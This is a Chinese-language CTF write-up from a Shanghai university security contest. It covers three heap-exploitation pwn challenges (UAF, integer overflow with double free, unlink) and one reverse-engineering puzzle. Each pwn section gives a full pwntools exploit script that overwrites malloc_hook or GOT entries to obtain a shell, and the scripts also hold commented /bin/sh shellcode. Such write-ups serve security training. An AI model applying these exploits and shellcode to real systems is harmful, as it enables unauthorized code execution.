CTF比赛 January 03, 2020

上海市大学生信息安全竞赛

Words count 60k Reading time 55 mins. Read count 0

一、Pwn

1、login

先看保护机制:

57276329637

除了pie,其他保护全开,这题因为pie是关的,但是做太多保护全开的题目,下意识已经觉得堆的地址是变的了,但是堆地址是不变的,所以饶了下弯路才走出来,下面进入正题:

57276351655

熟悉的菜单堆题,这里漏洞点主要在于free函数,有个UAF的漏洞,还有在login时可以打印出密码,这里应该是泄露地址的地方

57276368101

但是按照一般的方式去unsorted bin的attack不行,这里利用pie关闭,可以采用爆破的方式去泄露地址,一个字节一个字节地去泄露,从而得到libc_base,利用任意地址写,改malloc_hook为onegadget,这题就没了。

具体来说,需要注意细节,这里堆块申请后,有个0x18大小的辅助堆块

57276384386如下:

1
2
3
4
5
struct chunk{
char *heap;
char *puts
int heap_size;
}

辅助堆块大小已经知道,利用UAF,我们可以实现的是控制这个辅助堆块(只要申请0x18大小,既可以得到),就可以实现UAF的漏洞了,直接UAF是利用不成功的,因为内容堆需要利用辅助堆上的地址去找,当辅助堆放到fastbin时,fd会被置为0,也就是说,控制不了,但是如果控制了辅助堆块,就可以往这个位置写堆地址了,然后就是一把嗖了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./login')
if local:
p = process('./login')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# onegadget64 = [0x45216,0x4526a,0xf02a4,0xf1147]
# onegadget32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def login(index,size,content):
ru("Choice:")
sl('1')
ru("Input the user id:")
sl(str(index))
ru("Input the passwords length:")
sl(str(size))
ru("Input the password:")
sd(content)
def register(index,size,content):
ru("Choice:")
sl('2')
ru("Input the user id:")
sl(str(index))
ru("Input the password length:")
sl(str(size))
ru("Input password:")
sd(content)
def edit(index,content):
ru("Choice:")
sl('4')
ru("Input the user id:")
sl(str(index))
ru("Input new pass:")
sd(content)
def delete(index):
ru("Choice:")
sl('3')
ru("Input the user id:")
sl(str(index))

def get_addr():
pwd = '\x7f'
m = 1
for i in range(5):
for j in range(0x100):
fake = ''
fake += p8(j) + pwd
login(0,len(fake),fake)
a = ru("---Menu---")
if "Wrong password!" in a:
continue
else:
if m==5:
return u64(a[-17:-11].ljust(8,'\x00'))-0x3c4b78
break
else:
edit(1,p64(0x603030+3-i))
pwd = p8(j) + pwd
m +=1
break

register(0,0x100,'a'*8)
delete(0)
register(1,0x18,p64(0x603030+4))
libc_base = get_addr()
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + 0xf1147
malloc_hook = libc_base + libc.sym["__malloc_hook"]
fake_chunk = malloc_hook - 0x23
edit(1,p64(malloc_hook))
edit(0,p64(onegadget))
ru("Choice:")
sl('1'*0x1000)
p.interactive()

这题只有一个难点,就是爆破地址,然后就是利用UAF实现任意地址写,最后用scanf隐式触发malloc即可getshell,所以完全可以魔改掉这题,嘿嘿,只需要2次申请和1次free就可以实现。

2、boringheap

先看下保护机制发现

57276566802

保护全开,直奔主题ida分析可得:看下edit函数

57276563780

这里abs函数有个漏洞点,就是整数溢出,0x800000000,但是呢,这里后面有个求余操作,所以直接用好像无法实现漏洞利用,所以这里采用的方式是,选择size为0x30,这样0x80000000%0x30=-0x20,这是一个固定的漏洞点,现学现用吧,相当于往string的堆块的前0x20处写入,这样就可以重写本身的size,实现overlap了,接着伪造一下double free的链子,一条写入0x51,就会在main_arena上留下size头,这样如果知道libc地址就可以在另外一条链子上利用double free实现fake_chunk伪造,因为topchunk的地址在上面,所以我们直接修改它的地址,下一次切割就会从新的地址切割,但是呢,前面的一定要填充’\x00’,切记!!不然报错申请不出来的,这里直接改为malloc_hook上一点就可以了,上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
# context(arch='i386', os='linux')
local = 0
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote("8sdafgh.gamectf.com",10001)
libc = ELF('./libc.so')
# onegadget64 = [0x45216,0x4526a,0xf02a4,0xf1147]
# onegadget32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(choice,content):
ru("5.Exit")
sl('1')
ru("3.Large")
sl(str(choice))
ru("Input Content:")
sd(content)
def free(index):
ru("5.Exit")
sl('3')
ru("Which one do you want to delete?")
sl(str(index))
def edit(index,where,content):
ru("5.Exit")
sl('2')
ru("Which one do you want to update?")
sl(str(index))
ru("Where you want to update?")
sl(str(where))
ru("Input Content:")
sd(content)
def show(index):
ru("5.Exit")
sl('4')
ru("Which one do you want to view?")
sl(str(index))

malloc(2,'aaaaaaaa\n')#0
malloc(2,'bbbbbbbb\n')#1#8
malloc(2,'cccccccc\n')#2#9
malloc(2,'dddddddd\n')#3#10
malloc(3,'eeeeeeee\n')#4
malloc(3,'ffffffff\n')#5
malloc(3,'gggggggg\n')#6
malloc(3,'hhhhhhhh\n')#7
edit(1,0x80000000,'\x00'*0x10 + p64(0) + p64(0x1b1) + '\n')

free(1)

malloc(2,'ffffffff\n')#8
show(8)
ru('ffffffff')
libc_base = u64(rc(6).ljust(8,'\x00'))-0x3c4c0a-0x100
print "libc_base---->" + hex(libc_base)
system = libc_base + libc.sym["system"]
main_arena = libc_base + 0x3c4b28
malloc_hook = libc_base + libc.sym["__malloc_hook"]
onegadget = libc_base +0xf1147

malloc(2,'eeeeeeee\n')#9
malloc(2,'iiiiiiii\n')#10
malloc(3,'kkkkkkkk\n')#12
malloc(3,'llllllll\n')#13
malloc(3,'mmmmmmmm\n')#14

free(2)
free(3)
free(9)
free(4)
free(5)
free(11)
#
malloc(2,p64(0x51)+'\n')#15
malloc(2,'nnnnnnnn\n')
malloc(2,'oooooooo\n')

malloc(3,p64(main_arena+8)+'\n')
malloc(3,'pppppppp\n')
malloc(3,'qqqqqqqq\n')
malloc(3,'\x00'*0x38+p64(malloc_hook-0x18))

py = ''
py += 'aaaaaaaa' + p64(onegadget)+'\n'
malloc(3,py)
# debug(0)
# debug(0)
ru("5.Exit")
sl('1')
ru("3.Large")
sl('3')
p.interactive()

这里学到了新姿势,当需要申请的堆块大小固定时,可以利用double free的双链来伪造fake_chunk攻击,改写topchunk地址。

3、silent

检查保护机制:

57321347317

发现got表可改,同时pie没有开,因为打了太多保护全开的题目,所以这题一下没反应过来,unlink的技巧也一下手生了,同时时间有限,导致没能及时做出来这题,有点亏哎,这里复现下这题:

ida分析:

57321360924

57321359960

57321362079

程序就3个功能,calloc、free、edit,这里只有2个堆块的操作,一个0x28,一个0x208,同时free函数有UAF的漏洞,这里很容易想到的是堆块的地址的覆盖,和之前打roarCTF一样,那个relloc的那题。这里同时想到的是edit函数可以实现的是溢出漏洞,修改size头,可以实现改前者堆块为free状态,同时再free自己实现unlink,之后就是常规操作了,这里直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./silent')
if local:
p = process('./silent')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
onegadget64 = [0x45216,0x4526a,0xf02a4,0xf1147]
# onegadget32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
# payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))
def bk(mallocr):
gdb.attach(p,"b *"+str(hex(mallocr)))

def malloc(index,content):
ru("4.Exit")
sl('1')
ru("2.Large\n")
sl(str(index))
ru("Content:")
sl(content)
def edit(index,content):
ru("4.Exit")
sl('3')
ru("2.Large\n")
sl(str(index))
ru("Content:")
sl(content)
def free(index):
ru("4.Exit")
sl('2')
ru("2.Large\n")
sl(str(index))

malloc(2,"\n")#0x310
malloc(1,"\n")#0x310
malloc(1,"\n")
free(2)
for i in range(5):
malloc(1,'\n')
ptr = 0x6020d8
py = ''
py += p64(0) + p64(0xb0)
py += p64(ptr-0x18) + p64(ptr-0x10)
py = py.ljust(0xb0,'a')
py += p64(0xb0) + p64(0x180)
edit(2,py)
free(1)
puts_got = elf.got["puts"]
free_got = elf.got["free"]
puts_plt = elf.sym["puts"]
py = ''
py += 'aaaaaaaa'*2
py += p64(puts_got)
py += p64(free_got)
edit(2,py)

edit(2,p64(puts_plt))
free(1)
libc_base = u64(rc(6).ljust(8,'\x00'))-libc.sym["puts"]
print "libc_base--->" + hex(libc_base)
system = libc_base + libc.sym["system"]
edit(2,p64(system))
malloc(1,'/bin/sh\x00')
free(1)

p.interactive()

这里堆块要控制好size头,控制堆块布局,保证nextsize合法,满足unlink条件即可。

二、RE

1、puzzle | solved

这里分析逻辑,化简函数:
img
可以看到需要绕过5层的check,前面三个分别是,输入16个16进制的字符,每两个转成hex,然后将字符转成16进制数值,问题不大,xor可以通过动态调试得到xor的固定值:
img
第一个是0x7D,然后一个个调试出来得到:0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9所以就是输入的明文异或这些数值加密,得到密文,密文进行了一个sort函数,这里需要爆破出一个排列组合,选择不同的运算方式得到特定值,8个数,10种运算结果,这里直接写个C语言脚本爆破跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#include <bits/stdc++.h>
using namespace std;

int a[10];

typedef int ll;

ll n1 = 0x39f;
ll n2 = 0x68;
ll n3 = 0x209;
ll n4 = 0x269;
ll n5 = 0x12a;
ll n6 = 0x1a1;
ll n7 = 0x8a;
ll n8 = 0x2c8;

void init(){


n1 = 0x39f;
n2 = 0x68;
n3 = 0x209;
n4 = 0x269;
n5 = 0x12a;
n6 = 0x1a1;
n7 = 0x8a;
n8 = 0x2c8;



}
bool gao(){
bool result=false;
int *v1 = a;
while ( 2 ){
switch ( *v1 ){
case 0:
n5 &= n1;
n4 *= n5;
goto LABEL_4;
case 1:
if ( !n4 )
goto LABEL_6;
n5 /= n4;
n6 += n2;
goto LABEL_4;
case 2:
n3 ^= n2;
n8 += n7;
goto LABEL_4;
case 3:
n8 -= n3;
n3 &= n6;
goto LABEL_4;
case 4:
n2 *= n7;
n4 -= n1;
goto LABEL_4;
case 5:
n7 ^= n4;
n1 -= n8;
goto LABEL_4;
case 6:
if ( !n8 )
goto LABEL_6;
n2 |= n6 / n8;
n6 /= n8;
goto LABEL_4;
case 7:
n1 += n5;
n2 |= n6;
goto LABEL_4;
case 8:
n7 *= n4;
n3 -= n8;
goto LABEL_4;
case 9:
n5 += n2;
n4 ^= n3;
LABEL_4:
if ( ++v1 != a + 8 )
continue;
if (n1 == 0xE7){
if (n2 == 0x3878)
if (n3 == 0x3A71)
int e=1;

}
result = (n1 == 0xE7)
+ (n2 == 0x3878)
+ (n3 == 0x3A71)
+ (n4 == 0xFFFFCC30)
+ (n5 == 0x10)
+ (n6 == 0x68)
+ (n7 == 0xFFFFFC49) == 7;
if ( n8 != 0xFFFFFF11 )
goto LABEL_6;
break;
default:
LABEL_6:
result = 0;
break;
}
return result;
}

}

bool flag=false;

int cnt=0;
void dfs(int p){
if (flag)
return;
if (p == 8){
init();
if (gao()){
flag=true;
}

return;
}
for (int i=0;i<10;i++){
a[p]=i;
dfs(p+1);
}
}

int main(){
dfs(0);
}
//动态跟踪下a即可得到序列sort = [6, 1, 4, 9, 5, 0, 7, 2]

所以现在就是知道密文,接着异或回去就可以得到明文输入了:

1
2
3
4
5
6
7
num = [0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]
sort = [6, 1, 4, 9, 5, 0, 7, 2]
flag = ''
for i in range(8):
flag += hex(sort[i]^num[i])[2:]
print flag
#7aaa29982a98eaab

接着输入即可得到flag

img

0%